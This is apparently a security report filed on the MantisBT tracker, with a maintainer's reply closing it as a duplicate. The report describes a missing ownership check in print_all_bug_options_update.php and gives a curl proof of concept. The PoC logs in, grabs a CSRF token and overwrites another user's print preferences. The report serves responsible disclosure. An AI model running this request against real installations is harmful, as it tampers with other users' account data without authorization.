First of all, please note that nobody speaks Chinese here. In the future, kindly submit your reports in English.
This vulnerability has already been identified by another researcher (filed under 0037031), but it has not yet been patched. I will therefore close this Issue as duplicate.
You will be co-credited for the finding; please indicate how you would like credits to be listed, and also provide your GitHub id so we can link it to the security advisory.
print_all_bug_options_update.php is used to update the current user's printing preferences (controlling which fields are displayed when the bug list is printed). This script retrieves the target user ID from the user_id POST parameter and then uses that ID directly as the value for the database update.
print_all_bug_options_update.php (tag release-2.28.4, commit ceb74c8)
The script retrieves the user_id from the POST parameter, but there's no verification to confirm that the currently logged-in user matches this user_id:
$f_user_id = gpc_get_int( 'user_id' );
$f_redirect_url = gpc_get_string( 'redirect_url' );
Below, after constructing the preference array, it directly assigns the user-provided $f_user_id to $t_user_id as the target user for the UPDATE operation—here, ownership verification is missing; that is, it doesn't check auth_get_current_user_id() == $f_user_id, nor does it call access_ensure_global_level() to request administrative privileges:
$t_user_id = $f_user_id;
$c_export = implode( '', $t_prefs_arr );
$t_query = 'UPDATE {user_print_pref} SET print_pref=' . db_param() . '` WHERE user_id=' . db_param();
$t_result = db_query( $t_query, array( $c_export, $t_user_id ) );
For comparison, account_prefs_update.php in the same project requires manage_user_threshold permission when handling similar preference updates if user_id is not equal to the current user. print_all_bug_options_update.php does not have this check.
First, log in as the attacker to obtain a session cookie. Then, send the following request to modify the victim's printing preferences (<victim_user_id> is the victim's user ID):
# 1. Log in as the attacker to obtain a session cookie
curl -s -c cookies.txt -b cookies.txt \
-d "username=attacker&password=<attacker_password>" \
"http://<mantisbt_host>/mantisbt/login.php"
#
# 2. Obtain a CSRF token (the page contains form_security_token after login)
TOKEN=$(curl -s -b cookies.txt "http://<mantisbt_host>/mantisbt/print_all_bug_options_page.php" \
| grep -oP 'print_all_bug_options_update_token" value="\K[^"]+')
#
# 3. Send an unauthorized request: set user_id to the victim's ID
curl -s -b cookies.txt -o /dev/null -w "%{http_code}" \
-d "print_all_bug_options_update_token=${TOKEN}" \
-d "user_id=<victim_user_id>" \
-d "redirect_url=my_view_page.php" \
-d "print_id=1&print_project_id=1&print_category=1&print_severity=1&print_reproducibility=1&"\
"print_date_submitted=1&print_last_update=1&print_summary=1&print_status=1&print_resolution=1&"\
"print_handler=1&print_priority=1&print_os=1&print_os_build=1&print_platform=1&print_v ersion=1&"\
"print_fixed_in_version=1&print_projection=1&print_eta=1&print_description=1&print_steps_to_reproduce=1&"\
"print_additional_information=1&print_tags=1&print_due_date=1&print_overdue=1&print_reporter=1&"\
"print_view_state=1&print_attachments=1&print_bugnote_count=1" \
"http://<mantisbt_host>/mantisbt/print_all_bug_options_update.php"
Expected Result: Returns HTTP 302 (Operation Successful). The Victim user_print_pref table record has been modified to the attacker-specified preference pattern.
Impact: An attacker can modify the print field preference settings for any user. The modified preferences will affect the layout of the bug fields the victim sees the next time they use the print function—for example, the attacker could uncheck all fields, causing the victim's printout to lose critical information, or check all fields, causing the printout to contain a lot of redundant content. Although print preferences themselves are not highly sensitive data, this is an unauthorized cross-user data modification operation that violates object-level access control.
We hope to file a CVE for this vulnerability. Thank you.